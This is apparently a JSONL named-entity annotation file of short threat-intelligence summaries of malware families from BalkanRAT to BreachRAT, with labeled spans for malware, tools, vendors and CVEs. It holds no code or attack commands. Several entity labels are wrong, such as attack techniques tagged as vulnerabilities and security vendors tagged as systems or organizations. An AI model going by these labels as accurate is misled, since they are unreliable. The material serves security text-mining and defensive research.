+{"text": "The goal of BalkanRAT which is a more complex part of the malicious Balkan-toolset (cf. BalkanDoor) is to deploy and leverage legitimate commercial software for remote administration. The malware has several additional components to help load, install and conceal the existence of the remote desktop software. A single long-term campaign involving BalkanRAT has been active at least from January 2016 and targeted accouting departments of organizations in Croatia, Serbia, Montenegro, and Bosnia and Herzegovina (considered that the contents of the emails, included links and decoy PDFs all were involving taxes). It was legitimaly signed and installed by an exploit of the WinRAR ACE vulnerability (CVE-2018-20250).", "spans": {"CVE_ID: CVE-2018-20250": [[700, 714]], "MALWARE: BalkanRAT": [[12, 21], [348, 357]], "TOOL: WinRAR": [[674, 680]], "MALWARE: BalkanDoor": [[88, 98]]}, "info": {"source": "apt_reports", "name": "BalkanRAT"}}
+{"text": "Bandook malware is a remote access trojan (RAT) first seen in 2007 and has been active for several years. Written in both Delphi and C++, it was first seen as a commercial RAT developed by a Lebanese creator named PrinceAli. Over the years, several variants of Bandook were leaked online, and the malware became available for public download.", "spans": {"MALWARE: Bandook": [[0, 7], [261, 268]]}, "info": {"source": "apt_reports", "name": "Bandook"}}
+{"text": "BanPolMex is a remote access trojan that uses TCP for communication.\r\n\r\nIt uses an RC4-like stream cipher called Spritz for encryption of its configuration and network traffic.\r\n\r\nIt sends detailed information about the victim's environment, like computer name, Windows version, free space of memory and all drives, processor identifier and architecture, system locale, system metrics, manufacturer, and network configuration.\r\n\r\nIt supports almost 30 commands that include operations on the victim’s filesystem, basic process management, file exfiltration, and the download and execution of additional tools from the attacker’s C&C server. As in many RATs from Lazarus arsenal, the commands are indexed by 32-bit integers. However, in this case the indicis are convertible into a meaningful ASCII representation, that even suggests the functionality: SLEP, HIBN, DRIV, DIR, DIRP, CHDR, RUN, RUNX, DEL, WIPE, MOVE, FTIM, NEWF, DOWN, ZDWN, UPLD, PVEW, PKIL, CMDL, DIE, GCFG, SCFG, TCON, PEEX, PEIN.\r\n\r\nIt has aclui.dll as the internal DLL name. It contains statically linked code from open-source libraries like libcurl (version 7.47.1) or zLib (version 0.15).\r\n\r\nBanPolMex RAT was delivered for victims of a watering hole campaign targeting employees of Polish and Mexican banks, that was discovered in February 2017. It is usually loaded by HOTWAX.", "spans": {"MALWARE: BanPolMex RAT": [[1163, 1176]], "SYSTEM: Windows": [[262, 269]], "VULNERABILITY: watering hole": [[1208, 1221]], "MALWARE: HOTWAX": [[1342, 1348]]}, "info": {"source": "apt_reports", "name": "BanPolMex RAT"}}
+{"text": "According to Expel, the developers behind the recent AppSuite-PDF and PDF Editor campaigns have used at least 26 code-signing certificates over the last seven years to make their software appear legitimate. Due to different use of and certificate clustering, the malware is believed different from both Chromeloader and TamperedChef.", "spans": {}, "info": {"source": "apt_reports", "name": "BaoLoader"}}
+{"text": "According to PCrisk, BATLOADER is part of the infection chain where it is used to perform the initial compromise. This malware is used to execute payloads like Ursnif. Our team has discovered BATLOADER after executing installers for legitimate software (such as Zoom, TeamViewer Visual Studio) bundled with this malware. We have found those installers on compromised websites.", "spans": {"MALWARE: BATLOADER": [[21, 30], [192, 201]], "TOOL: TeamViewer": [[268, 278]], "SYSTEM: Zoom": [[262, 266]], "ORGANIZATION: PCrisk": [[13, 19]], "MALWARE: Ursnif": [[160, 166]]}, "info": {"source": "apt_reports", "name": "BATLOADER"}}
+{"text": "BazarBackdoor is a small backdoor, probably by a TrickBot \"spin-off\" like anchor. Its called team9 backdoor (and the corresponding loader: team9 restart loader).\r\n\r\nFor now, it exclusively uses Emercoin domains (.bazar), thus the naming. FireEye uses KEGTAP as name for BazarLoader and BEERBOT for BazarBackdoor.", "spans": {"MALWARE: BazarBackdoor": [[0, 13], [298, 311]], "MALWARE: BEERBOT": [[286, 293]], "MALWARE: KEGTAP": [[251, 257]], "MALWARE: BazarLoader": [[270, 281]], "ORGANIZATION: FireEye": [[238, 245]], "MALWARE: TrickBot": [[49, 57]]}, "info": {"source": "apt_reports", "name": "BazarBackdoor"}}
+{"text": "A rewrite of Bazarloader in the Nim programming language.", "spans": {}, "info": {"source": "apt_reports", "name": "BazarNimrod"}}
+{"text": "360 Security Center describes BBtok as a banking trojan targeting Mexico.", "spans": {"MALWARE: BBtok": [[30, 35]]}, "info": {"source": "apt_reports", "name": "BBtok"}}
+{"text": "According to Threatray, BDarkRAT is a .NET RAT first discovered in 2019 that Bitter group continues to use until at least 2025.", "spans": {"MALWARE: BDarkRAT": [[24, 32]], "SYSTEM: .NET": [[38, 42]]}, "info": {"source": "apt_reports", "name": "BDarkRAT"}}
+{"text": "According to Symantec, Beapy is a cryptojacking campaign impacting enterprises that uses the EternalBlue exploit and stolen and hardcoded credentials to spread rapidly across networks.", "spans": {"MALWARE: Beapy": [[23, 28]], "SYSTEM: Symantec": [[13, 21]], "VULNERABILITY: EternalBlue": [[93, 104]]}, "info": {"source": "apt_reports", "name": "Beapy"}}
+{"text": "According to CERT-UA, this is a malware developed using the C++ programming language. It provides capabilities for downloading, decryption (chacha20-poly150) and performing PowerShell scripts, as well as uploading the command's results.", "spans": {"TOOL: PowerShell": [[173, 183]], "ORGANIZATION: CERT-UA": [[13, 20]]}, "info": {"source": "apt_reports", "name": "BEARDSHELL"}}
+{"text": "Beast is a Ransomware-as-a-service (RaaS) product which provides functionality such as SMB scanning, file encryption, service and process starting and stopping, and geographic identification to avoid encryption in CIS countries.", "spans": {"SYSTEM: SMB": [[87, 90]]}, "info": {"source": "apt_reports", "name": "win.beast"}}
+{"text": "According to Mandiant, BEATDROP is a downloader written in C that uses Atlassian's project management service Trello for C&C. BEATDROP uses Trello to store victim information and retrieve AES-encrypted shellcode payloads to be executed. BEATDROP then injects and executes downloaded payloads into a suspended process. Upon execution, BEATDROP maps a copy of ntdll.dll into memory to execute shellcode in its own process. The sample then creates a suspended thread with RtlCreateUserThread the thread points to NtCreateFile. The sample changes execution to shellcode and resumes the thread. The shellcode payload is retrieved from Trello and is targeted per victim. Once the payload has been retrieved, it is deleted from Trello.", "spans": {"MALWARE: BEATDROP": [[23, 31], [126, 134], [237, 245], [334, 342]], "ORGANIZATION: Mandiant": [[13, 21]]}, "info": {"source": "apt_reports", "name": "BEATDROP"}}
+{"text": "Bedep has been mostly observed in ad-fraud campaigns, although it can also generally load modules for different tasks. It was dropped by the Angler Exploit Kit.", "spans": {"MALWARE: Bedep": [[0, 5]]}, "info": {"source": "apt_reports", "name": "Bedep"}}
+{"text": "Malware family observed in conjunction with PlugX infrastructure in 2013.", "spans": {"MALWARE: PlugX": [[44, 49]]}, "info": {"source": "apt_reports", "name": "Bee"}}
+{"text": "BEENDOOR is a XMPP based trojan. It is capable of taking screenshots of the victim's desktop.", "spans": {"MALWARE: BEENDOOR": [[0, 8]]}, "info": {"source": "apt_reports", "name": "beendoor"}}
+{"text": "Once set up in the system, Trojan.Belonard replaces the list of available game servers in the game client and creates proxies on the infected computer to spread the Trojan. As a rule, proxy servers show a lower ping, so other players will see them at the top of the list. By selecting one of them, a player gets redirected to a malicious server where their computer become infected with Trojan.Belonard.", "spans": {"MALWARE: Belonard": [[34, 42], [394, 402]]}, "info": {"source": "apt_reports", "name": "Belonard"}}
+{"text": "Cybereason concludes that Betabot is a sophisticated infostealer malware that’s evolved significantly since it first appeared in late 2012. The malware began as a banking Trojan and is now packed with features that allow its operators to practically take over a victim’s machine and steal sensitive information.", "spans": {"MALWARE: Betabot": [[26, 33]], "ORGANIZATION: Cybereason": [[0, 10]]}, "info": {"source": "apt_reports", "name": "BetaBot"}}
+{"text": "Bezigate is a Trojan horse that opens a back door on the compromised computer. It may also download potentially malicious files. \r\n\r\nThe Trojan may perform the following actions: \r\nList, move, and delete drives\r\nList, move, and delete files\r\nList processes and running Windows titles\r\nList services\r\nList registry values\r\nKill processes\r\nMaximize, minimize, and close windows\r\nUpload and download files\r\nExecute shell commands\r\nUninstall itself", "spans": {"MALWARE: Bezigate": [[0, 8]], "SYSTEM: Windows": [[269, 276]]}, "info": {"source": "apt_reports", "name": "Bezigate"}}
+{"text": "BHunt collects the crypto wallets of its victims. The malware consists of several functions/modules, e.g. a reporting module that reports the presence of crypto wallets on the target computers to the C2 server. It searches for many different cryptocurrencies (e.g. Atomic, Bitcoin, Electrum, Ethereum, Exodus, Jaxx and Litecoin). The Blackjack module is used to steal wallets, Sweet_Bonanza steals victims' browser passwords. There are also modules like the Golden7 or the Chaos_crew module.", "spans": {"MALWARE: BHunt": [[0, 5]]}, "info": {"source": "apt_reports", "name": "BHunt"}}
+{"text": "According to Volexity, a loader observed to be used with multiple malware families, among them LIGHTSPY.", "spans": {"ORGANIZATION: Volexity": [[13, 21]], "MALWARE: LIGHTSPY": [[95, 103]]}, "info": {"source": "apt_reports", "name": "BH_A006"}}
+{"text": "BianLian is a GoLang-based ransomware that continues to breach several industries and demand large ransom amounts. The threat actors also use the double extortion method by stealing an affected organization’s files and leaking them online if the ransom is not paid on time. BianLian gains access to victim systems through valid Remote Desktop Protocol (RDP) credentials, uses open-source tools and command-line scripting for discovery and credential harvesting, and exfiltrates victim data via File Transfer Protocol (FTP), Rclone, or Mega. BianLian originally employed a double-extortion model in which they encrypted victims’ systems after exfiltrating the data; however, around January 2023, they shifted to primarily exfiltration-based extortion. The BianLian ransomware uses goroutines and encrypts files in chunks to quickly hijack an infected system. The ransomware adds its own extension to each encrypted file.", "spans": {"MALWARE: BianLian": [[0, 8], [274, 282], [541, 549], [755, 763]], "TOOL: RDP": [[353, 356]], "TOOL: Rclone": [[524, 530]], "TOOL: Remote Desktop Protocol": [[328, 351]]}, "info": {"source": "apt_reports", "name": "BianLian"}}
+{"text": "A Windows version of the BiBi wiper that was found by BlackBerry.", "spans": {"MALWARE: BiBi": [[25, 29]], "SYSTEM: Windows": [[2, 9]], "ORGANIZATION: BlackBerry": [[54, 64]]}, "info": {"source": "apt_reports", "name": "BiBi"}}
+{"text": "Small and relatively simple ransomware for Windows. Gives files the .BI_D extension after encrypting them with a combination of RSA/AES. Persistence achieved via the Windows Registry. Kills all processes on the victim machine besides itself and a small whitelist of mostly Windows sytem processes and kills shadow copies.", "spans": {"SYSTEM: Windows": [[43, 50], [166, 173], [273, 280]], "ORGANIZATION: RSA": [[128, 131]]}, "info": {"source": "apt_reports", "name": "BI_D Ransomware"}}
+{"text": "BillGates is a modularized malware, of supposedly Chinese origin. Its main functionality is to perform DDoS attacks, with support for DNS amplification. Often, BillGates is delivered with one or many backdoor modules.\r\n\r\nBillGates is available for *nix-based systems as well as for Windows.\r\n\r\nOn Windows, the (Bill)Gates installer typically contains the various modules as linked resources.", "spans": {"MALWARE: BillGates": [[0, 9], [160, 169], [221, 230]], "SYSTEM: Windows": [[282, 289], [297, 304]], "VULNERABILITY: DDoS": [[103, 107]]}, "info": {"source": "apt_reports", "name": "BillGates"}}
+{"text": "Binanen is a dropper that drops and executes a section of itself into a hidden dummy process. According to F-Secure, it executes command line tools such as (for example)  asipconfig, which is useful to retrieve the network configuration. The malware aims to steal information about the machine, the username, installed software and, more generally speaking, it potentially can carry out  actions on the compromised machine.", "spans": {"MALWARE: Binanen": [[0, 7]], "ORGANIZATION: F-Secure": [[107, 115]]}, "info": {"source": "apt_reports", "name": "Binanen"}}
+{"text": "BIOPASS RAT is a malware family which targets online gambling companies in China by leveraging a watering hole attack. This Remote Access Trojan (RAT) is unique in that it leverages the Open Broadcaster Software (OBS) framework to monitor the user's screen.", "spans": {"MALWARE: BIOPASS": [[0, 7]], "VULNERABILITY: watering hole": [[97, 110]]}, "info": {"source": "apt_reports", "name": "BIOPASS"}}
+{"text": "Bitpylock is a ransomware that encrypts files by using asymmetric keys and puts '.bitpy' as suffix once the encryption phase ended. The ransom note appears on the affected user's Desktop with the following name: \"# # HELP_TO_DECRYPT_YOUR_FILES # .html\". At the time of writing the ransom request is 0.8 BTC and the communication email is: helpbitpy@cock.li.", "spans": {"EMAIL: helpbitpy@cock.li": [[339, 356]], "MALWARE: Bitpylock": [[0, 9]]}, "info": {"source": "apt_reports", "name": "BitPyLock"}}
+{"text": "SHADYCAT is a dropper and spreader component for the HERMES 2.1 RANSOMWARE radical edition.", "spans": {"MALWARE: SHADYCAT": [[0, 8]]}, "info": {"source": "apt_reports", "name": "Bitsran"}}
+{"text": "According to Bitdefender, BitRAT is a notorious remote access trojan (RAT) marketed on underground cybercriminal web markets and forums. Its price tag of $20 for lifetime access makes it irresistible to cybercriminals and helps the malicious payload spread.\r\n\r\nFurthermore, each buyer’s modus operandi makes BitRAT even harder to stop, considering it can be employed in various operations, such as trojanized software, phishing and watering hole attacks.\r\n\r\nBitRAT’s popularity arises from its versatility. The malicious tool can perform a wide range of operations, including data exfiltration, UAC bypass, DDoS attacks, clipboard monitoring, gaining unauthorized webcam access, credential theft, audio recording, XMRig coin mining and generic keylogging.", "spans": {"MALWARE: BitRAT": [[26, 32], [308, 314], [458, 464]], "SYSTEM: Bitdefender": [[13, 24]], "VULNERABILITY: credential theft": [[679, 695]], "VULNERABILITY: phishing": [[419, 427]], "VULNERABILITY: DDoS": [[607, 611]], "VULNERABILITY: keylogging": [[744, 754]], "VULNERABILITY: watering hole": [[432, 445]]}, "info": {"source": "apt_reports", "name": "BitRAT"}}
+{"text": "Kaspersky Labs characterizes Bizarro as yet another banking Trojan family originating from Brazil that is now found in other regions of the world. They have seen users being targeted in Spain, Portugal, France and Italy. Attempts have now been made to steal credentials from customers of 70 banks from different European and South American countries.", "spans": {"SYSTEM: Kaspersky": [[0, 9]]}, "info": {"source": "apt_reports", "name": "Bizzaro"}}
+{"text": "BKA Trojaner is a screenlocker ransomware that was active in 2011, displaying a police-themed message in German language.", "spans": {"MALWARE: BKA Trojaner": [[0, 12]]}, "info": {"source": "apt_reports", "name": "BKA Trojaner"}}
+{"text": "\"Black Basta\" is a new ransomware strain discovered during April 2022 - looks in dev since at least early February 2022 - and due to their ability to quickly amass new victims and the style of their negotiations, this is likely not a new operation but rather a rebrand of a previous top-tier ransomware gang that brought along their affiliates.", "spans": {"MALWARE: Black Basta": [[1, 12]]}, "info": {"source": "apt_reports", "name": "Black Basta"}}
+{"text": "Ransomware. Uses dropper written in JavaScript to deploy a .NET payload.", "spans": {"SYSTEM: .NET": [[59, 63]]}, "info": {"source": "apt_reports", "name": "BlackByte"}}
+{"text": "ALPHV, also known as BlackCat or Noberus, is a ransomware family that is deployed as part of Ransomware as a Service (RaaS) operations. ALPHV is written in the Rust programming language and supports execution on Windows, Linux-based operating systems (Debian, Ubuntu, ReadyNAS, Synology), and VMWare ESXi. ALPHV is marketed as ALPHV on cybercrime forums, but is commonly called BlackCat by security researchers due to an icon of a black cat appearing on its leak site. ALPHV has been observed being deployed in ransomware attacks since November 18, 2021.\r\n\r\nALPHV can be configured to encrypt files using either the AES or ChaCha20 algorithms. In order to maximize the amount of ransomed data, ALPHV can delete volume shadow copies, stop processes and services, and stop virtual machines on ESXi servers. ALPHV can self-propagate by using PsExec to remote execute itself on other hosts on the local network.", "spans": {"MALWARE: BlackCat": [[21, 29], [378, 386]], "MALWARE: ALPHV": [[0, 5], [136, 141], [306, 311], [327, 332], [469, 474], [558, 563], [694, 699], [805, 810]], "MALWARE: Noberus": [[33, 40]], "TOOL: PsExec": [[839, 845]], "SYSTEM: Ubuntu": [[260, 266]], "SYSTEM: Rust": [[160, 164]], "SYSTEM: Synology": [[278, 286]], "SYSTEM: ESXi": [[300, 304], [791, 795]], "SYSTEM: Debian": [[252, 258]], "SYSTEM: Windows": [[212, 219]], "SYSTEM: Linux": [[221, 226]]}, "info": {"source": "apt_reports", "name": "BlackCat"}}
+{"text": "a backdoor that obfuscates its communications as normal traffic to legitimate websites such as Github and Microsoft's Technet portal.", "spans": {"ORGANIZATION: Microsoft": [[106, 115]]}, "info": {"source": "apt_reports", "name": "BLACKCOFFEE"}}
+{"text": "BlackEnergy, its first version shortened as BE1, started as a crimeware being sold in the Russian cyber underground as early as 2007. Initially, it was designed as a toolkit for creating botnets for conducting DDoS attacks. It supported a variety of flooding commands including protocols like ICMP, TCP SYN, UDP, HTTP and DNS. Among the high profile targets of cyber attacks utilising BE1 were a Norwegian bank and government websites in Georgia three weeks before Russo-Georgian War.\r\n\r\nVersion 2 of BlackEnergy, BE2, came in 2008 with a complete code rewrite that introduced a protective layer, a kernel-mode rootkit and a modular architecture. Plugins included mostly DDoS attacks, a spam plugin and two banking authentication plugins to steal from Russian nad Ukrainian banks. The banking plugin was paired with a module designed to destroy the filesystem. Moreover, BE2 was able to\r\n- download and execute a remote file;\r\n- execute a local file on the infected computer;\r\n- update the bot and its plugins;\r\n\r\nThe Industrial Control Systems Cyber Emergency Response Team issued an alert warning that BE2 was leveraging the human-machine interfaces of industrial control systems like GE CIMPLICITY, Advantech/Broadwin WebAccess, and Siemens WinCC to gain access to critical infrastructure networks.\r\n\r\nIn 2014, the BlackEnergy toolkit, BE3, switched to a lighter footprint with no kernel-mode driver component. Its plugins included:\r\n- operations with victim's filesystem\r\n- spreading with a parasitic infector\r\n- spying features like keylogging, screenshoots or a robust password stealer\r\n- Team viewer and a simple pseudo “remote desktop”\r\n- listing Windows accounts and scanning network \r\n- destroying the system\r\n\r\nTypical for distribution of BE3 was heavy use of spear-phishing emails containing Microsoft Word or Excel documents with a malicious VBA macro, Rich Text Format (RTF) documents embedding exploits or a PowerPoint presentation with zero-day exploit CVE-2014-4114.\r\n\r\nOn 23 December 2015, attackers behind the BlackEnergy malware successfully caused power outages for several hours in different regions of Ukraine. This cyber sabotage against three energy companies has been confirmed by the Ukrainian government. The power grid compromise has become known as the first-of-its-kind cyber warfare attack affecting civilians.", "spans": {"CVE_ID: CVE-2014-4114": [[1969, 1982]], "MALWARE: BlackEnergy": [[0, 11], [501, 512], [1318, 1329], [2029, 2040]], "SYSTEM: Microsoft Word": [[1804, 1818]], "SYSTEM: Windows": [[1655, 1662]], "ORGANIZATION: Microsoft": [[1804, 1813]], "VULNERABILITY: spear-phishing": [[1771, 1785]], "VULNERABILITY: zero-day": [[1952, 1960]], "VULNERABILITY: phishing": [[1777, 1785]], "VULNERABILITY: rootkit": [[611, 618]], "VULNERABILITY: DDoS": [[210, 214], [671, 675]], "VULNERABILITY: keylogging": [[1538, 1548]]}, "info": {"source": "apt_reports", "name": "BlackEnergy"}}
+{"text": "According to Zscaler, BlackGuard has the capability to steal all types of information related to Crypto wallets, VPN, Messengers, FTP credentials, saved browser credentials, and email clients.", "spans": {"MALWARE: BlackGuard": [[22, 32]], "SYSTEM: VPN": [[113, 116]], "ORGANIZATION: Zscaler": [[13, 20]]}, "info": {"source": "apt_reports", "name": "BlackGuard"}}
+{"text": "Ransomware", "spans": {}, "info": {"source": "apt_reports", "name": "BlackMagic"}}
+{"text": "According to PCrisk, BlackMatter is a piece of malicious software categorized as ransomware. It operates by encrypting data for the purpose of making ransom demands for the decryption tools. In other words, files affected by BlackMatter are rendered inaccessible, and victims are asked to pay - to recover access to their data.\r\n\r\nDuring the encryption process, files are appended with an extension consisting of a random character string. For example, a file initially named \"1.jpg\" would appear as something similar to \"1.jpg.k5RO9fVOl\". After this process is complete, the ransomware changes the desktop wallpaper and created a ransom note - \"[random_string].README.txt\" (e.g., k5RO9fVOl.README.txt).", "spans": {"MALWARE: BlackMatter": [[21, 32], [225, 236]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "BlackMatter"}}
+{"text": "Advanced and modern Windows botnet with PHP panel developed using VB.NET. It has a lot of functionalities including: stealing/grabbing files and passwords, keylogging, cryptojacking, loading files, executing commands, etc. It is open source and emerged at the end of 2019.", "spans": {"SYSTEM: Windows": [[20, 27]], "SYSTEM: PHP": [[40, 43]], "VULNERABILITY: keylogging": [[156, 166]]}, "info": {"source": "apt_reports", "name": "BlackNET RAT"}}
+{"text": "BlackPOS infects computers running on Windows that have credit card readers connected to them and are part of a POS system. POS system computers can be easily infected if they do not have the most up to date operating systems and antivirus programs to prevent security breaches or if the computer database systems have weak administration login credentials.", "spans": {"MALWARE: BlackPOS": [[0, 8]], "SYSTEM: Windows": [[38, 45]]}, "info": {"source": "apt_reports", "name": "BlackPOS"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "Blackruby"}}
+{"text": "According to Trend Micro, this ransomware has significant code overlap with Royal Ransomware.", "spans": {"SYSTEM: Trend Micro": [[13, 24]], "MALWARE: Royal": [[76, 81]]}, "info": {"source": "apt_reports", "name": "BlackSuit"}}
+{"text": "BLINDINGCAN is a remote access trojan that communicates with its C&C server via HTTP(S).\r\nIt uses a (custom) RC4 or AES for encryption and decryption of its configuration and network traffic. \r\nIt sends information about the victim's environment, like computer name, IP, Windows product name and processor name.\r\nIt supports around 30 commands that include operations on the victim’s filesystem, basic process management, command line execution, file exfiltration, configuration update, and the download and execution of additional payloads from the attackers' C&C. The commands are indexed by 16-bit integers, starting with the index 0x2009 and going incrementally up to 0x2057, with some indicis being skipped. \r\nIt uses various parameter names in its HTTP POST requests, mostly associated with web servers running bulletin board systems, like bbs, article, boardid, s_board, page, idx_num, etc.\r\nIt contains specific RTTI symbols like \".?AVCHTTP_Protocol@@\", \".?AVCFileRW@@\" or \".?AVCSinSocket@@\".\r\nBLINDINGCAN RAT is a flagship payload deployed in many Lazarus attacks, especially in the Operation DreamJob campaigns happening in 2020-2022.", "spans": {"MALWARE: BLINDINGCAN": [[0, 11], [1002, 1013]], "SYSTEM: Windows": [[271, 278]]}, "info": {"source": "apt_reports", "name": "BLINDINGCAN"}}
+{"text": "BLINDTOAD is 64-bit Service DLL that loads an encrypted file from disk and executes it in memory.", "spans": {"MALWARE: BLINDTOAD": [[0, 9]]}, "info": {"source": "apt_reports", "name": "BLINDTOAD"}}
+{"text": "According to Cyderes, this is a tool to clear kernel callbacks registered by a range of security solutions.", "spans": {}, "info": {"source": "apt_reports", "name": "BlindEDR"}}
+{"text": "Elastic observed this loader coming with valid code signatures, being used to deploy secondary payloads in-memory.", "spans": {"ORGANIZATION: Elastic": [[0, 7]]}, "info": {"source": "apt_reports", "name": "Blister"}}
+{"text": "This malware family is the suspected successor to ShadowPad and Deed rat.", "spans": {"MALWARE: ShadowPad": [[50, 59]]}, "info": {"source": "apt_reports", "name": "BloodAlchemy"}}
+{"text": "BlueFox is a .NET infostealer sold on forums as a Maware-as-a-Service. Its capabilities are those of a classic information stealer, with a focus on cryptocurrency wallets, and file grabber and loader capabilities.", "spans": {"MALWARE: BlueFox": [[0, 7]], "SYSTEM: .NET": [[13, 17]]}, "info": {"source": "apt_reports", "name": "BlueFox"}}
+{"text": "Mandiant associates this with UNC4191, this malware is a launcher for NCAT to establish a reverse tunnel.", "spans": {"THREAT_ACTOR: UNC4191": [[30, 37]], "ORGANIZATION: Mandiant": [[0, 8]]}, "info": {"source": "apt_reports", "name": "BLUEHAZE"}}
+{"text": "Malware family used to deliver follow up payloads, variants using Microsoft Graph API and Google Web Apps have been observed.", "spans": {"ORGANIZATION: Microsoft": [[66, 75]], "ORGANIZATION: Google": [[90, 96]]}, "info": {"source": "apt_reports", "name": "BLUELIGHT"}}
+{"text": "This family contains the BlueNoroff toolkit used for SWIFT manipulation, as used by the Lazarus activity cluster also referred to as BlueNoroff.", "spans": {"MALWARE: BlueNoroff": [[25, 35], [133, 143]]}, "info": {"source": "apt_reports", "name": "BlueNoroff"}}
+{"text": "According to AhnLab, BlueShell is a backdoor malware developed in Go language, published on Github, and it supports Windows, Linux, and Mac operating systems. Currently, the original Github repository is presumed to have been deleted, but the BlueShell source code can still be obtained from other repositories. It features an explanatory ReadMe file in Chinese, indicating the possibility that the creator is a Chinese user.", "spans": {"MALWARE: BlueShell": [[21, 30], [243, 252]], "SYSTEM: Windows": [[116, 123]], "SYSTEM: Linux": [[125, 130]], "SYSTEM: Go": [[66, 68]]}, "info": {"source": "apt_reports", "name": "BlueShell"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "BlueSky"}}
+{"text": "Avast describe this malware as a recombination of other malware including SpyEx, ThunderFox, ChromeRecovery, StormKitty, and firepwd.", "spans": {"SYSTEM: Avast": [[0, 5]], "MALWARE: StormKitty": [[109, 119]]}, "info": {"source": "apt_reports", "name": "BluStealer"}}
+{"text": "FIN7 uses this malware as helper module during intrusion operations. BOATLAUNCH is continuously looking for PowerShell processes on infected systems and patches them to bypuss Windows AntiMalware Scan Interface (AMSI).", "spans": {"MALWARE: BOATLAUNCH": [[69, 79]], "THREAT_ACTOR: FIN7": [[0, 4]], "TOOL: PowerShell": [[108, 118]], "SYSTEM: Windows": [[176, 183]]}, "info": {"source": "apt_reports", "name": "BOATLAUNCH"}}
+{"text": "This malware offers remote access capabilities but also has a DDoS module that was used against supporters of Ukraine.", "spans": {"VULNERABILITY: DDoS": [[62, 66]]}, "info": {"source": "apt_reports", "name": "Bobik"}}
+{"text": "According to Trend Micro, this is a ransomware written in Go, targeting Windows and MacOS environments that tries to disguise as LockBit by changing the wallpaper into a LockBit 2 screen. Most of the samples contained hard-coded AWS credentials, and the stolen data were uploaded to an Amazon S3 bucket controlled by the threat actor.", "spans": {"SYSTEM: Windows": [[72, 79]], "SYSTEM: Trend Micro": [[13, 24]], "SYSTEM: AWS": [[229, 232]], "SYSTEM: Go": [[58, 60]], "ORGANIZATION: Amazon": [[286, 292]]}, "info": {"source": "apt_reports", "name": "BockLit"}}
+{"text": "Bofamet Stealer is an infostealer managed through a web-based Command and Control (C2) panel, allowing attackers to configure operations, monitor infected hosts, and retrieve stolen data in real time.", "spans": {"MALWARE: Bofamet": [[0, 7]]}, "info": {"source": "apt_reports", "name": "Bofamet"}}
+{"text": "According to Mandiant, this malware family is attributed to potential chinese background and its Linux variant is related to exploitation of Fortinet's SSL-VPN (CVE-2022-42475).", "spans": {"CVE_ID: CVE-2022-42475": [[161, 175]], "SYSTEM: Fortinet": [[141, 149]], "SYSTEM: VPN": [[156, 159]], "SYSTEM: Linux": [[97, 102]], "ORGANIZATION: Mandiant": [[13, 21]]}, "info": {"source": "apt_reports", "name": "BOLDMOVE"}}
+{"text": "BookCodesRAT is a remote access trojan that uses HTTP(S) for communication. It supports around 25 commands that include operations on the victim’s filesystem, basic process management and the download and execution of additional tools from the attacker’s arsenal. They are indexed by 32-bit integers, starting with the value 0x97853646. \r\n\r\nBookCodesRAT uses mostly compromised South Korean web servers for the C&C traffic and is usually deployed against South Korean targets.", "spans": {}, "info": {"source": "apt_reports", "name": "BookCodes RAT"}}
+{"text": "This in .Net written malware is a classic information stealer. It can collect various information and can be depoyed in different configurations: \"The full-featured version of the malware can log keystrokes, collect profile files of Mozilla Firefox and Google Chrome browsers, record sound from the microphone, grab desktop screenshots, capture photo from the webcam, and collect information about the version of the operation system and installed anti-virus software.\" (ESET)\r\nThis malware has been active since at least 2012.", "spans": {"SYSTEM: Chrome": [[260, 266]], "SYSTEM: Firefox": [[241, 248]], "SYSTEM: ESET": [[471, 475]], "ORGANIZATION: Google": [[253, 259]]}, "info": {"source": "apt_reports", "name": "Book of Eli"}}
+{"text": "FireEye describes BOOSTWRITE as a loader crafted to be launched via abuse of the DLL search order of applications which load the legitimate ‘Dwrite.dll’ provided by the Microsoft DirectX Typography Services. The application loads the ‘gdi’ library, which loads the ‘gdiplus’ library, which ultimately loads ‘Dwrite’. Mandiant identified instances where BOOSTWRITE was placed on the file system alongside the RDFClient binary to force the application to import DWriteCreateFactory from it rather than the legitimate DWrite.dll.", "spans": {"MALWARE: BOOSTWRITE": [[18, 28], [353, 363]], "ORGANIZATION: Mandiant": [[317, 325]], "ORGANIZATION: Microsoft": [[169, 178]], "ORGANIZATION: FireEye": [[0, 7]]}, "info": {"source": "apt_reports", "name": "BOOSTWRITE"}}
+{"text": "BOOTWRECK is a master boot record wiper malware.", "spans": {"MALWARE: BOOTWRECK": [[0, 9]]}, "info": {"source": "apt_reports", "name": "BOOTWRECK"}}
+{"text": "The Borat RAT comes bundled with its components (e.g. binary builder, supporting modules, server certificates). According to Cyble this malware is an unique combination of RAT, Spyware, and ransomware.\r\nThe supporting modules are included; a few of the capabilities: Keylogger, Ransomware, Audio/Webcam Recording, Process Hollowing, Browser Credential/Discord Token Stealing, etc.", "spans": {"MALWARE: Borat RAT": [[4, 13]], "SYSTEM: Discord": [[352, 359]]}, "info": {"source": "apt_reports", "name": "Borat RAT"}}
+{"text": "According to Checkpoint Research, this malware family has the ability to download and upload files, run commands and send the attackers the results. It has been observed being used by threat actor IndigoZebra.", "spans": {"THREAT_ACTOR: IndigoZebra": [[197, 208]]}, "info": {"source": "apt_reports", "name": "BoxCaon"}}
+{"text": "Brambul is a worm that spreads by using a list of hard-coded login credentials to launch a brute-force password attack against an SMB protocol for access to a victim’s networks.", "spans": {"MALWARE: Brambul": [[0, 7]], "SYSTEM: SMB": [[130, 133]], "VULNERABILITY: brute-force": [[91, 102]]}, "info": {"source": "apt_reports", "name": "Brambul"}}
+{"text": "This is a backdoor which FireEye call the Breach Remote Administration Tool (BreachRAT), written in C++. The malware name is derived from the hardcoded PDB path found in the RAT: C:\\Work\\Breach Remote Administration Tool\\Release\\Client.pdb", "spans": {"FILEPATH: C:\\Work\\Breach": [[179, 193]], "MALWARE: BreachRAT": [[77, 86]], "ORGANIZATION: FireEye": [[25, 32]]}, "info": {"source": "apt_reports", "name": "BreachRAT"}}
